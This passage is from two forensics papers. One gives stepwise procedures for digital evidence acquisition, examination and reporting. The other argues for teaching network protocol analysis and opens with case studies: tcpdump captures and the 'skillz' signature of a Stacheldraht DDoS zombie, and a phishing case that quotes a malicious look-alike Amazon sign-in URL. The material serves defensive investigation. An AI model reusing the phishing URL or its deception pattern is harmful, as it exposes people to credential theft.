   ii. Currently open sockets, application listening on open sockets, current users logged on and system currently or recently connected.
i. Use cash monitoring tools to view real time state cash and document it then dump memory information using tools running from CD and save the result on floppy or another CD.
j. Use network monitors, system monitors, surveillance cameras for activity monitoring.
k. Obtain network-based evidence from sources such as intrusion detection systems, routers, firewalls, log servers, etc., make sure that time is synchronized between of all logs and systems.
l. Before imaging use write protectors or write blocker tools to insure the integrity of information gathered from disk.
m. In this case the subject computer will be used to acquire digital evidence, attach the examiner’s evidence storage device as hard drive and tape drive.
   i. Ensure that the examiner’s storage device is forensically clean when acquiring the evidence (National Institute of Justice 2004).
   ii. Investigate the geometry of any storage devices to ensure that all space is accounted for, including Host protected area [HPA] data and device configuration overlay option [DCO] (National Institute of Justice 2004).
   iii. The examiner should calculate a mathematical value for the subject evidence before acquiring the evidence as performing an independent cyclic redundancy check [CRC] or hashing.
n. Acquire data of the disk by making bit stream copy of the original storage medium, which is an exact duplicate of the original disk and this is also done for all evidence storage medium as floppy disks, which is done by using one of these methods:
   i. Creating a bit stream disk to image file: which is the most common type, as it provide the investigators the ability to make many copies of the digital evidence acquired, and also this image can be used with a lot of applications and other tools to continue the forensic stages.
   ii. Making bit stream disk to disk copy: Used if the investigator is unable to create bit stream disk to image file.

o. Acquire the subject evidence to the examiner’s storage device using the appropriate software and hardware tools, such as: (National Institute of Justice 2004)
   i. Stand-alone duplication software.
   ii. Forensic analysis software suite.
   iii. Dedicated hardware devices.

p. Verify the integrity of the information gathered by making hash values and checksums for both the image and the original data and comparing them.

q. Change the read-write permission of the image to read only.

r. Retrieve configuration information from the suspect’s system through controlled boots (National Institute of Justice 2004).
   i. Boot sequence [this may mean changing the BIOS to ensure the system boots from the floppy or CD-ROM drive].
   ii. Time and date and then document it.
   iii. Power on passwords.

s. Perform a controlled boot to capture CMOS/BIOS information and test functionality (National Institute of Justice 2004).
   i. Ensure the power and data cables are properly connected to the floppy/CD-ROM drive.
   ii. Place the forensic boot disk into the floppy or CD-ROM drive. Boot the computer and ensure the computer will boot from the forensic boot disk.

u. Disconnect storage devices and perform a second controlled boot to test the computer’s functionality and the forensic boot disk (National Institute of Justice 2004).
   i. Ensure there is a forensic boot disk in the floppy or CD-ROM drive to prevent the computer from accidentally booting from the storage devices.
   ii. Drive configuration information includes logical block addressing [LBA]; large disk; cylinders, heads, and sectors [CHS]; or auto-detect.

v. Collect evidences from removable media sources such as backup tapes, floppy disks, CD-ROM, etc.

w. Power system down by removing the power cable and then remove and acquire storage device of the suspect, if possible.
x. Exceptional circumstances, including the following, may result in a decision not to remove the storage devices from the subject system: (National Institute of Justice 2001)
   i. RAID, removing the disks and acquiring the individually may not yield usable results.
   ii. Laptop systems, the system drive may be difficult to access or may be unusable when detached from the original system.
   iii. Hardware dependency [legacy equipment], older drives may not be readable in newer systems.
   iv. Equipment availability, the examiner does not have access to necessary equipment.
   v. Network storage. It may be necessary to use the network equipment to acquire the data.

y. Prepare chain of custody in which gathering process must be documented which should include timestamp, digital signatures and signed statements.

z. Duplicate the evidence disk drive, perform at least two copies.

2. Computer already shutdown:

   Never turn on or operate suspects computer during investigation if it is off leave it off
   b. Before imaging use write protectors or write blockers tools to insure the integrity of information gathered from disk.
   c. Remove and acquire storage device of the suspect using the examiner’s system, then configure it on the examiner’s system to be recognized.
   d. Exceptional circumstances that may result in a decision not to remove the storage devices from the subject system are mentioned above in section x in the life system case.
   e. Avoid tools that use a GUI interface, command line tools are preferred and use safe and tested tools.
   f. Then follow steps from n-q in the life system case.
   g. Prepare chain of custody in which gathering process must be documented which should include timestamp, digital signatures and signed statements.
   h. Duplicate the evidence disk drive.

2.3.3 Survey the digital scene

Survey phase is performed on a live system or on the snapshot image. It can occur on a live system, similar to what occurs in the physical world. Mostly it is occurs in a lab using one of the digital crime scene replica images as it is preferred because it provides a controlled environment and the results can be repeated with another copy of the system.

It examines the obvious locations for evidence and develops strategy for how to search the system for additional evidence, it also provides details and description about data as to be used in extraction activities and it shows the skill level of the suspect.

2.3.4 Digital evidence examination

The purpose of the examination process is to locate, extract and analyze digital evidence to reconstruct the crime scene. Extraction refers to the recovery of data from its media. Analysis refers to the interpretation of the recovered data and putting it in a logical and useful format (National Institute of
Examination of the evidence will involve the use of a potentially large number of techniques to find and interpret significant data, while doing so it must preserve the integrity of evidence and chain of custody to present it in court. General forensic principles apply when examining digital evidence. Different types of cases and media may require different methods of examination. Persons conducting an examination of digital evidence should be trained for this purpose (National Institute of Justice 2004).

When conducting evidence examination, consider using the following steps:

1. Preparation: Prepare working directories on separate media to which evidentiary files and data can be extracted and recovered (National Institute of Justice 2004) and start the lab evidence log from the case management system to record details of examination and the state of evidence at arrival.

2. Locating evidence: Making a checklist can help in the examination process, and can be used it to double-check that everything is there.

This step depends on the case and the type of operating system used. There are some areas and files in each operating system that are recommended for evidence gathering, but also this depends on the case. The common areas are:

a. Windows operating system:

   1. Files and file system: Using command lines tools can help investigator to ascertain and examine the time, date of installation of the operating system, service packs, patches and subdirectories like drivers that automatically update themselves.

   2. Hidden files: such as NTFS alternate data streams that can be detected by the help of tools searching on registry, locate data in hidden or masked file extensions.

   3. Detect unusual or hidden files by modifying Windows to display certain hidden file types.

      a. Compressed files, misnamed files, encrypted files and password-protected files.

      b. File attributes

      c. Security ID : Microsoft Security ID are found on registry in profile list that holds profile list key for each user on computer

   4. Slack space: The space existing at the end of the file of the last cluster that contains data from computer

   5. Windows registry: windows registry is a database where all the information about a computer is stored. The registry is used to store :

      a. Operating system configuration, application configuration information and hardware configuration information.

      b. User security information and Current user information.


b. Linux/Unix operating system:

   1. Mount the restored imaged working copy and start analyzing the contents.
2. Use the ls command to view the contents of the disk. [ls –alR to list all files including hidden files and list the directories recursively].

3. Make a list of all files along with access times, and search for likely evidence using grep command.

4. List unknown file extensions and changed file appearance.

5. Search in such areas:
   a. Syslog: This is the heart of Linux logging.
   b. File access time.
   c. Detect unusual or hidden files, compressed files, Misnamed files, Encrypted files and Password-protected files.

   **c. For both operating systems:**

   Search in such areas:
   1. Temporarily internet files, cookies and batch files [*.bat].
   2. Memory, it also identifies network logon names, passwords and other sensitive information.
   3. Swap files: is space on a hard disk reserved for the operating system to do what’s called paging and which is called Virtual memory [The swap file is called win386.swp in windows and in windows NT/2000/XP, it is called pagefile.sys.].
   4. Unallocated clusters, unused partitions, hidden partitions, HPA and DCO.
   5. Destroyed or deleted Partitions, files and data [The index application in windows locates data that has been destroyed].
   6. Locate and retrieve e-mail evidence. E-mail messages can be found in a number of different places, such as the sender’s e-mail inbox/outbox a network server’s mailbox, or backup media.
   7. Scan for backdoors and network sniffers.
   8. Locate root kits or viruses.

3. **Extracting evidence:** There are two different types of extraction, physical and logical.

   **a. Physical extraction:**

   During this stage the extraction of the data from the drive occurs at the physical level regardless of file systems present on the drive. This may include the following methods: keyword searching [make a list of keyword search], file carving, extraction of the partition table and unused space on the physical drive (National Institute of Justice 2004), and examining the partition structure which may identify the file systems present and determine if the entire physical size of the hard drive is accounted for.

   **b. Logical extraction:**

   During this stage the extraction of the data from the drive is based on the file system(s) present on the drive and may include data from areas as active files, deleted files, file slack, and unallocated file space (National Institute of Justice 2004), steps may include:
1. Extraction of the file system information to reveal characteristics such as directory structure, file attributes, file names, date and time stamps, file size, and file location (National Institute of Justice 2004).

2. Data reduction to identify and eliminate known files through the comparison of calculated hash values to authenticated hash values (National Institute of Justice 2004).

3. Extraction of files pertinent to the examination. Methods to accomplish this may be based on file name and extension, file header, file content, and location on the drive (National Institute of Justice 2004).

4. Recovery of deleted files and partitions and extract information from startup and configuration files.

5. Extraction of password-protected, encrypted, and compressed data as well as file slack and unallocated space.

6. Determine data relevance, keep in mind, however, that it needs to be fast; don’t waste time collecting information that will be of no use to the case (Schweitzer 2003).

7. Extract IDS, Router, Firewall, application and authentication log files.

8. Extraction of e-mails and deleted e-mails from .pst [personal e-mail files] and .ost [offline e-mail files] files or from history, cookies and temporarily internet files.

4. **Reconstruction of extracted data:** Once the evidence is gathered and extracted, it can be used to reconstruct the crime to produce a clear picture of the crime and identify the missing links in the picture.

There are three fundamentals of reconstruction for investigating crimes, which are: temporal analysis, relational analysis and functional analysis.

Temporal analysis tries to discover some factors such as what happened and who are involved, while relational analysis facilitate the reconstruction by correlating the actions of suspected victim, at the same time functional analysis discovers how the activities or actions actually happened and discovers the responsible factors. There are many analysis techniques used to present significance of evidences, it’s not a must to use all these techniques in all the cases, but it depends on the case nature, some of these techniques are:

a. **Timeframe analysis:** Timeframe analysis can be useful in determining when events occurred on a computer system, which can be used as a part of associating usage of the computer to an individual(s) at the time the events occurred. Two methods that can be used are: (National Institute of Justice 2004).

   1. Reviewing the time and date stamps contained in the file system metadata (e.g., last modified, last accessed, created, change of status) to link files of interest to the timeframes relevant to the investigation.

   2. Reviewing system and application logs that may be present. These may include error logs, installation logs, connection logs, security logs, etc.

b. **Data hiding analysis:** Digital systems can easily hide data. Using data hiding analysis can be useful in recovering some important information which may indicate knowledge or ownership... Methods that can be used include:

   1. Correlating the file headers to the corresponding file extensions to identify any mismatches and analyze the file signatures to detect hidden data.
2. Analyze all password-protected, encrypted, and compressed files, knowing that the password itself may be as relevant as the contents of the file.

3. Gaining access to a HPA, the presence of user-created data in an HPA may indicate an attempt to conceal data. (National Institute of Justice 2004)

c. **Application and file analysis:** Many programs and files identified may contain information relevant to the investigation and provide insight into the capability of the system and the knowledge of the user. Results of this analysis may indicate additional steps that need to be taken in the extraction and analysis processes (National Institute of Justice 2004). Some examples include: Reviewing file names for relevance and patterns.

1. Examining file content which may contain evidence or indicates possession to a specific user.

2. Correlating the files to the installed applications (National Institute of Justice 2004).

3. Considering relationships between files. For example, correlating Internet history to cache files and e-mail files to e-mail attachments (National Institute of Justice 2004).

4. Examining the users’ default storage location(s) for applications and the file structure of the drive to determine if files have been stored in their default or an alternate location(s) (National Institute of Justice 2004).

5. Examining user-configuration settings. Analyzing file metadata, the content of the user-created file containing data additional to that presented to the user, typically viewed through the application that created it (National Institute of Justice 2004).

d. **Log Files analysis:**

1. Analyze network traffic and analyze each network packet.

2. Analyze IDS logs and monitor security events.

3. Perform Protocol analysis and content searching/matching for each packet.

4. Investigate and analyze Router Logs:
   a. Syslog logging
   b. Buffer Logging
   c. Console logging
   d. Terminal logging
   e. SNMP logging
   f. Access Control List [ACL] logging

5. Investigate and analyze firewall and switch logs.

6. Investigate and analyze Application server logs.
   a. Errors generated and its time
   b. E-mail server logs
   c. Logins, executed commands
   d. Database logs
   e. Authentication Logs
f. Operating system log files
7. Correlate log files to get the whole picture in case of network attacks.

e. Analysis of e-mail messages:
1. View e-mail header: which contain information email origin, and how it reached and who send it [The header can be faked except the "received" portion-referencing.].
2. Trace email regarding Internet domain using source IP address in header.
3. Verify the validation of e-mail path by checking in router [check ID of message] and firewall logs and analyze logs from e-mail server.
4. Contact the e-mail provider in the case of web based e-mail [source] to reveal suspects information.

f. Network analysis:
1. Analyze any abnormal system processes, port files and services using commands already on the system or third-party tools.
2. Analyze startup files to analyze any unauthorized system modification and Check for unusual ports listening for connections from other hosts.
3. Inspect network configurations for unauthorized entries.
4. Identify initiating IP address, source port, service, date and time.
5. Identify unauthorized network trusts.

5. Conclusion: Results obtained from any one of these steps may not be sufficient to draw a conclusion (National Institute of Justice 2004). When viewed as a whole; however, associations between individual results may provide a more complete picture. As a final step in the examination Phase, consider the results from both physical and digital forensics phases, and organize the analyses results from collected physical and digital evidences to link a person to the digital events.

2.4 Courtroom Team Responsibilities

The courtroom team is responsible of reporting and presenting the case, experienced expert witness testimony provided in courts, ensure the chain of custody during all the previous phases and also responsible for the closure phase. This team should consist of both technical professionals and prosecutor who is a member of the legal profession who is responsible for presenting the case against the suspect in court of law. This team should have basic knowledge of forensic computer concepts together with familiarity with legal issues pertaining to seizure and search of computer systems and digital evidence.

2.4.1 Reporting and Presentation Phase

Reporting is a vital importance in digital forensic case. This Phase though is based entirely on policy and law of each country, which are different for each setting. It presents the conclusions and corresponding evidence from the investigation.

Writing a good and comprehensive report increase the chance of convincing the judge and winning the case. Report does not only including communicating facts, but it also presents the expert opinion. The presentation(s) are intended to provide both detailed confirmatory and event reconstruction information (Beebe & Clark 2004). This report should:

- Document whether or not the allegations were substantiated.
It must be organized in a way, so that anyone who reads it can understand it without reference to any other material, so while writing the report must include any related documents such as log files and pictures.

Present evidence as testimony. Also fees paid for expert's service and list of all list of civil and criminal cases in which the expert has testified for the preceding four or five years must be included.

It is preferred to be in PDF format and it should be communicable. No assumptions should be made while writing the report. If something important is discovered include it in the report. Writing should be brief, grammar and spelling must be checked and repetition of word and difficult and slang words should not be used. A good report should have the following features:

- Identity of the reporting agency, case identifier or submission number, investigators and examiners of the case and their signatures, identity of the submitter, date of receipt and report, description of collection and examination procedures, descriptive list of items submitted for examination, including serial number, make and model, providing uncertain and error analysis and conclusions explanation.
- Should include all log files generated by forensic tools to keep trace of all the steps taken.
- Summary and details of findings.

Details of finding should describe detail the results of the examinations and may include:
  - Specific files related to the request and other files, including deleted files that support the findings (National Institute of Justice 2004).
  - String searches, keyword searches, and text string searches (National Institute of Justice 2004).
  - Internet-related evidence, such as Web site traffic analysis, chat logs, cache files, e-mail, and news group activity (National Institute of Justice 2004).
  - Graphic image analysis (National Institute of Justice 2004).
  - Ownership indicators.
  - Data analysis.
  - Techniques used to hide or mask data, such as encryption, Steganography, hidden attributes, hidden partitions, and file name anomalies (National Institute of Justice 2004).
  - List supporting materials that are included with the report, such as printouts of particular items of evidence, digital copies of evidence, and chain of custody documentation (National Institute of Justice 2004).

2.4.2 Closure Phase

The closure phase involves reviewing the whole case in which it reviews the investigation to identify areas of improvement. It also examines how well each of the physical and digital investigations worked together, and whether the evidences collected were enough to solve the case. The purpose of this phase is to:

- Review the entire process and investigation procedures.
- Collect and preserve all information related to the incident.
- Return the physical and digital properties to their owner.
- Determine what criminal activities must be removed.
- Eradicate system information and apply counter measures to prevent such crimes from
happening again on the system.

The Closure documentation should be performed which include the time and date of release, to whom and by whom released.

3. MODEL DISCUSSION AND CONCLUSION

Knowing the fact that technology is becoming more intertwined in the daily life of the individual will lead to an increase in court cases where digital evidence is a vital component. This requires increase in expertise in the digital forensic investigation area and also requires standardizing the forensic steps taken by investigators. Guidance for these experts to perform the investigation without alerting the integrity of evidences is a must. Therefore this model is presented which is based on both theoretical and practical experiences. It has unique benefits over other models as it gives a deep level of detailed steps for each phase and defined the required teams to perform these phases, presenting detailed responsibilities for each team. It is practical and involves steps that actually investigators do during investigation, general with respect to technology so that it won’t be limited to present technologies at the same time it is specific enough so that each of member of each team knows his role.

The proposed model also covers the most popular operating systems windows, UNIX and Linux, and it is technology neutral so it can be used in different platforms and on different cases.

It also presents the needed people or experts in each team to perform each phase of digital investigation which can help organizations in building their labs. This model allows technical requirements for each phase to be developed and identifies interaction between physical and digital investigations. It is abstract enough that it can be applied to both law enforcement and corporate scenarios.

This model also included physical forensics which is already recognized. This will increase the court acceptance of the cases and add credibility to the analysis results from the digital world.

4. REFERENCES


The Case for Teaching Network Protocols to Computer Forensics Examiners

Gary C. Kessler
Champlain College
Center for Digital Investigation
Burlington, Vermont
gary.kessler@champlain.edu

Matt Fasulo
U.S. Secret Service
Burlington, Vermont
matt.fasulo@usss.dhs.gov

ABSTRACT
Most computer forensics experts are well-versed in basic computer hardware technology, operating systems, common software applications, and computer forensics tools. And while many have rudimentary knowledge about the Internet and simple network-lookup tools, they are not trained in the analysis of network communication protocols and the use of packet sniffers. This paper describes digital forensics applications for network analysis and includes four case studies.

Keywords: computer forensics education, network forensics, protocol analysis

1. INTRODUCTION
The bulk of the computer forensics literature demonstrates clearly that this discipline is, in many ways, a subset of computer science. Indeed, the very best computer forensics examiners know a lot about computer hardware, operating systems, and software. As a result, many educational curricula in this field are being taught under the auspices of a Computer Science or other computer technology-related department. Frequently, the emerging curricula place an emphasis on computer science and programming (NIST, in press).

Practitioners in both the private and public sectors, however, need to possess a broad set of knowledge areas in cyberspace. In particular, analysis and interpretation of network traffic -- live or otherwise -- has become increasingly important to the computer forensics community in the last several years. Network data -- either live traffic, stored communications, or server logs -- contain information that might be of use to the forensics examiner. In fact, there is so much potential information in these log files that due diligence requires the investigator to look at as much of this information as possible and the sheer volume makes it nearly impossible to examine every source of data in every case. (The problems implied by the previous sentence are well beyond the scope of this paper.)

This paper will present some insights about the role of network forensics and how knowledge of computer communications and network protocols is emerging as a necessary skill for digital investigators -- perhaps even more than programming itself. Indeed, many of the issues discussed here are already well-known within the information security community, but are still on the periphery of the education and training of computer forensics practitioners. The paper will conclude with some network investigation case studies.

2. THE ROLE OF NETWORK FORENSICS
The analysis of network data is fundamentally different than the analysis of data found on a hard drive due to the temporal nature of the network information. When a computer is shut down, the contents of the hard drive remain intact and static. In a network, everything is constantly changing. Any live
Network analysis, at best, captures a snapshot of the current activity. While both parties in a case can examine the same snapshot data, it is impossible to replicate the network state at a later time (Casey & Stanley, 2004; Nikkel, 2005; Shanmugasundaram, Brönnimann, & Memon, 2006).

Network-based information can be used for a variety of network management, information assurance, and criminal and civil investigation purposes. While similar tools might be used for these divergent needs, they do have some different processes and procedures, as well as potentially different legal constraints. Some data is collected for the express purpose of ensuring compliance with governmental regulations (e.g., Sarbanes-Oxley [SOX] or the Health Insurance Portability and Accountability Act [HIPAA]) or industry requirements (e.g., tracking music downloads or licensing software). If law enforcement (LE) is involved in any examination (in the U.S.), Fourth Amendment search and seizure protections are in play and a search warrant may well be needed. This may also affect non-LE personnel; if a system manager finds something that he or she believes to be evidence of a crime and turns that information over to LE, any subsequent action that the sysadmin takes on behalf of LE makes him/her an agent of the state and also subject to the search warrant requirement (Carrier, 2003; Kenneally, 2001; Shanmugasundaram et al., 2006).

In any case, there is a blurring between intrusion detection, network security monitoring, and collection of data for forensic analysis. The differences between them hinge on these questions (Casey & Stanley, 2004; Shanmugasundaram et al., 2006):

- What is the intended purpose of the information collection?
- What information should be collected?
- When should the information be collected? Jones, Bejtlich, and Rose (2006) note that data collected prior to a compromise or network event is proactive, whereas data collected during or after an event is a reactive or emergency condition.
- How (and where) is the information stored?
- How (when, and by whom) is the information retrieved?

Jones et al. (2006) suggest that there are four basic classes of network information that might be collected by the forensics examiner:

- **Full content data:** Collect every bit of information, including packet headers, on the network. As an example, the contents from all network servers might be imaged and saved, whereas the actual data examined will be defined at a future date by a judge.

- **Session data:** Collect only the information pertinent to a particular investigation. For example, an investigator might serve a search warrant on an Internet service provider (ISP) to turn over all data associated with a given customer at a certain date and time, analogous to the FBI's former Carnivore project, where specific e-mail messages within defined parameters -- such as certain keywords or user names -- would be collected.

- **Alert data:** Collect only data that includes particular items of interest. This is similar to the actions of an intrusion detection system (IDS) that collects information indicating known potential attack behavior or unknown, but abnormal, behavior.

- **Statistical data:** Information that individually might not be suspicious but that, taken in the context of the overall network activity, indicates something remarkable. For example, use of secure file transfers between two users might be indicative of some nefarious communication if secure file transfers are otherwise not used. Although applying statistical methods to network data analysis for forensic applications is still an emerging area, it will be an important one in the future. Much of the current research in this particular area is attempting to define what statistical models to use. An operational model merely compares observed events with expected ones, based upon some definition of normalcy. A mean and standard deviation model
uses these statistical measures to determine that some event has deviated from the norm; in this model, a network has to "learn" what is normal over a period of time. The multivariate model is similar but uses multiple variables and a $\chi^2$ test to determine an abnormal event. A time series model is also similar to the mean and standard deviation model, except that it uses time between events as the key to abnormality. Finally, a Markov process model uses a state transition matrix as the indicator of the norm so that a state change that has a low probability of occurrence might stick out as a suspicious event (Redding, 2006).

3. SOURCES AND TYPES OF NETWORK DATA

Part of the complexity of gathering network information is that there are a variety of sources and types of information that can be gathered. Some of the more obvious locations of network data include (Casey, 2004b; Nikkel, 2005):

- IDS and firewall logs
- Hypertext Transfer Protocol (HTTP), File Transfer Protocol (FTP), e-mail, and other server logs
- Network application logs
- Backtracking of network packets and Transmission Control Protocol (TCP) logical connections
- Artifacts and remnants of network traffic on hard drives of seized systems
- Live traffic captured by a packet sniffer or network forensic acquisition software
- Individual systems' routing and Address Resolution Protocol (ARP) tables, and responses to port scans and Simple Network Management Protocol (SNMP) messages

There are some potential weaknesses -- forensically speaking -- with network-acquired data. First off, any number of activities or events might influence or affect the collected data in unknown ways, including TCP relaying, proxy servers, complex packet routing, Web and e-mail anonymizers, Internet Protocol (IP) address or e-mail spoofing, compromised third party systems, session hijacking and other person-in-the-middle attacks, and domain name system (DNS) poisoning (Casey, 2004b; Nikkel, 2005).

A second area of vulnerability is with the tools themselves. Most real-time network analysis is accomplished with packet sniffers and protocol analyzers. Packet sniffers are devices that capture network traffic on wired or wireless networks. Although packet sniffers were, at one time, relatively complicated and expensive pieces of hardware, they are now available as free, command line or graphical interface software for a variety of platforms (e.g., Ethereal, tcpdump, and Wireshark). Although a network interface card (NIC) will typically see only packets specifically addressed to it, packet sniffers can place the NIC into a promiscuous mode, allowing the computer to listen in on all communications on a broadcast segment of the network. Special monitoring ports on some switches allow a network manager to monitor all packets even on a switched network. Packet sniffing software in combination with a protocol analysis capability makes a very powerful tool for information security professional as well as network forensic analysts. Protocol analyzers provide an interpretation of the traffic, parsing the bits and bytes into the raw messages from Ethernet, TCP/IP, FTP, HTTP, and other protocols. Packet sniffers and protocol analyzers are at the core of many types of network security and analysis products, including intrusion detection systems, security event management software, and network forensics analysis tools (Kent, Chevalier, Grance, & Dang, 2006).

Packet sniffing software is well-known and, by and large, accepted within the digital forensics

1 http://www.ethereal.com/
2 http://www.tcpdump.org/
3 http://www.wireshark.org/
community. Because real-time data is being collected, however, it is quite possible that some data might be missed (e.g., if the network data rate is too high for the NIC of the acquiring system) or silently lost (e.g., a misconfigured filter might drop certain packets as "uninteresting"). Some forensics tools -- such as EnCase Enterprise Edition,4 LiveWire,5 and ProDiscover IR6 -- are specifically designed to acquire information over networks but each has limitations, such as the inability to acquire process memory or mounted drives on remote systems (Casey, 2004b; Casey & Stanley, 2004; Nikkel, 2005).

4. THE ROLE OF PROTOCOL ANALYSIS: FOUR CASE STUDIES

Network analysis is new turf for many digital investigators. With this new type of investigation comes new tools, most notably protocol analysis software and packet sniffers. Packet sniffers are an essential tool for incident response and network forensics, generally providing the most amount of useful real-time information about a network (Kent et al., 2006).

Network investigations can be far more difficult than a typical computer examination, even for an experienced digital forensics examiner, because there are many more events to assemble in order to understand the case and the tools do not do as much work for the examiner as traditional computer forensics tools. If an investigator is looking for chat logs, images, or e-mail messages, for example, most common computer forensics tools will specifically find those types of files. Examining live network traffic, however, requires that the examiner understand the underlying network communications protocol suite, be it TCP/IP or something else. While a packet sniffer can grab the packets, and a protocol analyzer can reassemble and interpret the traffic, it requires a human to interpret the sequence of events (Casey, 2004a; Casey, 2004b, Owen, Budgen, & Brereton, 2006).

The remainder of this paper will present four case studies in which the authors played a role, using different network analysis tools. All of these cases could apply to either network forensics examiners or information security professionals.

4.1 Case Study #1: Distributed Denial-of-Service Attack

Exploitation of a vulnerable system on a network -- particularly prevalent on systems within the .edu domain -- is a common way in which to launch other attacks. In a distributed denial-of-service (DDoS) attack, an intruder finds a site to compromise and places a DDoS master program of some sort on the victim host. The DDoS master system runs code -- often worms -- that automatically and systematically finds other systems to exploit by searching for open ports or services, particularly those that are not secured and/or are being used by application software with known vulnerabilities. The DDoS master places zombie programs on those machines; zombies merely sit and wait for instructions from the master. When the Bad Guy wants to launch an attack, an instruction is sent to the DDoS master system which, in turn, sends messages to all of the zombies in order to coordinate the attack.

After an attack is initiated, the victim site is inundated with network traffic -- from hundreds, possibly thousands, of sources. Analysis of this traffic might lead the examiner to some of the zombies. Analysis of those machines might -- but not necessarily -- lead to the DDoS master system. Even if the DDoS master can be found, the examiner would still have to backtrack to the original intruder. Each of these steps becomes increasingly difficult.

Packet sniffers and IDS are an important tool in the fight against these types of attacks. In the following case, the system administrator of a server in a college environment was advised by the Information Technology Department that the server (doggie.example.edu) was suddenly generating an enormous amount of network traffic, consuming considerable bandwidth. As a result, the college

4 http://www.guidancesoftware.com/products/ee_index.asp
5 http://www.wetsonetech.com/catalog/item/1104418/2347979.htm
6 http://www.techpathways.com/ProDiscoverIR.htm
isolated the server's portion of the network until the situation could be resolved.

The first author was asked to investigate and immediately put `tcpdump`, a command line Linux packet sniffer, on the network to look at all traffic coming from or going to the suspect machine. The results are shown below:

```
[root@altamont gck]# tcpdump host doggie.example.edu
12:03:36.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:03:46.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:04:37.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:04:47.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:05:38.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:05:48.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:06:39.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:06:49.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:07:40.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:07:50.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:08:41.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:08:51.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:09:42.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:09:52.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
```

The output shows that the server, *doggie.example.edu*, was sending packets to the IP address 192.0.2.7. The first thing that leaps out here is the rate at which these packets were being generated; one packet followed by another 10 seconds later, followed by another 51 seconds later, in a repeating pattern. This was, of course, much too regular for a person at a keyboard and was undoubtedly generated by software.

The second thing to observe is that this was a stream of Internet Control Message Protocol (ICMP) Echo Reply messages. Echo Reply messages are a basic part of ICMP and are normally sent only in response to Echo Request messages (Postel, 1981). Note, however, the absence of incoming Echo Requests in this packet stream.

A more detailed look at the contents of the packets showed the following:

```
[root@altamont gck]# tcpdump -x host doggie.example.edu
12:12:45.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
  4500 0414 0000 4000 4001 cdf9 c0a8 abcd
c000 0207 0000 9ca3 1a0a 0000 0000 0000
  0000 0000 0000 0000 0000 0000 0000 0000
  736b 696c 6c7a 0000 0000 0000 0000 0000
  0000 0000 0000 0000 0000 0000 0000 0000
  0000
12:12:55.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
  4500 0414 0000 4000 4001 cdf9 c0a8 abcd
c000 0207 0000 9ca3 1a0a 0000 0000 0000
  0000 0000 0000 0000 0000 0000 0000 0000
  736b 696c 6c7a 0000 0000 0000 0000 0000
  0000 0000 0000 0000 0000 0000 0000 0000
  0000
12:13:46.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
```

To protect the true recipient of these packets -- and another victim of the attack -- the actual host address is obscured. IP addresses in the 192.0.2.0 block are reserved for example purposes, per Request for Comments (RFC) 3330 (IANA, 2002). This form of IP address is used in this paper when obscuring the true IP address.
Breaking down the packets show that these are valid IP packets, each containing a valid ICMP Echo Reply message. But inside the long string of zeroes is the hexadecimal string, 0x73-6b-69-6c-6c-7a. Interpreting these as ASCII \(^8\) characters reveals the string "skillz" which, taken together with the Echo Reply messages, is a known signature for the Stacheldraht DDoS zombie. The Echo Reply messages are the mechanism by which the exploited system will communicate with the DDoS master system (Dittrich, 1999).

With this hint, subsequent examination of the server using the `netstat` command showed that it was listening on TCP port 65000, the avenue by which a Stacheldraht master communicates with its zombies (Dittrich, 1999). The case for this type of DDoS software was complete and the only thing to do was to totally rebuild the server from scratch.

If these packets show communication between a DDoS zombie and master, what role does IP host 192.0.2.7 play in all of this? That step also required some careful investigation because it was unknown whether that system was, itself, a victim or a perpetrator. The sysadmin and first author looked up the address using simple tools such as `whois` and `dig`. That information, plus some calls to the domain registrar and foreign host's ISP, suggested that this was a legitimate user -- and, most likely, an upstream victim. The technical contact for this domain was contacted and he stated that his server had been compromised some weeks earlier but that the attacker's rootkit had been removed -- or so he thought. The remote sysadmin had, apparently, merely cleaned the server of the known rootkit rather than rebuild the system but had been infected with more malware than just this one piece of software.

The lesson, of course, is that if a system has been exploited, there is no way to know how badly it has been compromised. Upon discovery of the exploit, assume that the system cannot be cleaned but has to be rebuilt. One also has to take care in contacting apparent attackers.

### 4.2 Case Study #2: Phishing

Phishing and its variants (e.g., spear-phishing and pharming) are serious problems on the Internet; October 2006 saw over 37,000 new phishing sites, a 757% increase from a year earlier (AFWG, 2006). The authors were asked to investigate one particular phishing attack targeting a Vermont bank in the summer of 2005. In August 2005, the first author received a phishing e-mail purporting to come from Amazon.com (Figure 1). While the details of the bank phishing scheme cannot be presented here, analysis of the Amazon.com phishing scheme will be used to explore how the bank scheme was investigated. This particular e-mail was of interest because the first author actually has an Amazon account.

---

Figure 1. Email purporting to come from Amazon.com.

The received e-mail was the typical phishing message, purporting to come from a commercial organization where the recipient might have an account,\(^9\) a statement that some security breach has occurred, and the suggestion that the recipient logon to a given Web site to update or verify their personal information.

In an effort to document the phishing attempt, the authors started a packet sniffer and followed the link provided in the e-mail -- despite warnings from the e-mail client. The result was a visit to a Web page that looked very much like the real Amazon.com Web site. The Uniform Resource Locator (URL) of the page -- http://creditunion.pm168.com.cn/index.html?http://www.amazon.com/exec/o bidos/flex-sign-in/ -- is particularly interesting because while it clearly shows the bogus host name, creditunion.pm168.com.cn, it also shows the legitimate amazon.com login page URL. Most users will ignore the beginning of the URL once they recognize the familiar Amazon.com address and a seemingly familiar page. Of course, the question mark and everything that follows it is ignored so, in fact, the user has been redirected to the bogus host somewhere in the .cn (China) top-level domain. The author responded to the bogus sign-in page by supplying a bogus username and password (Figure 2).

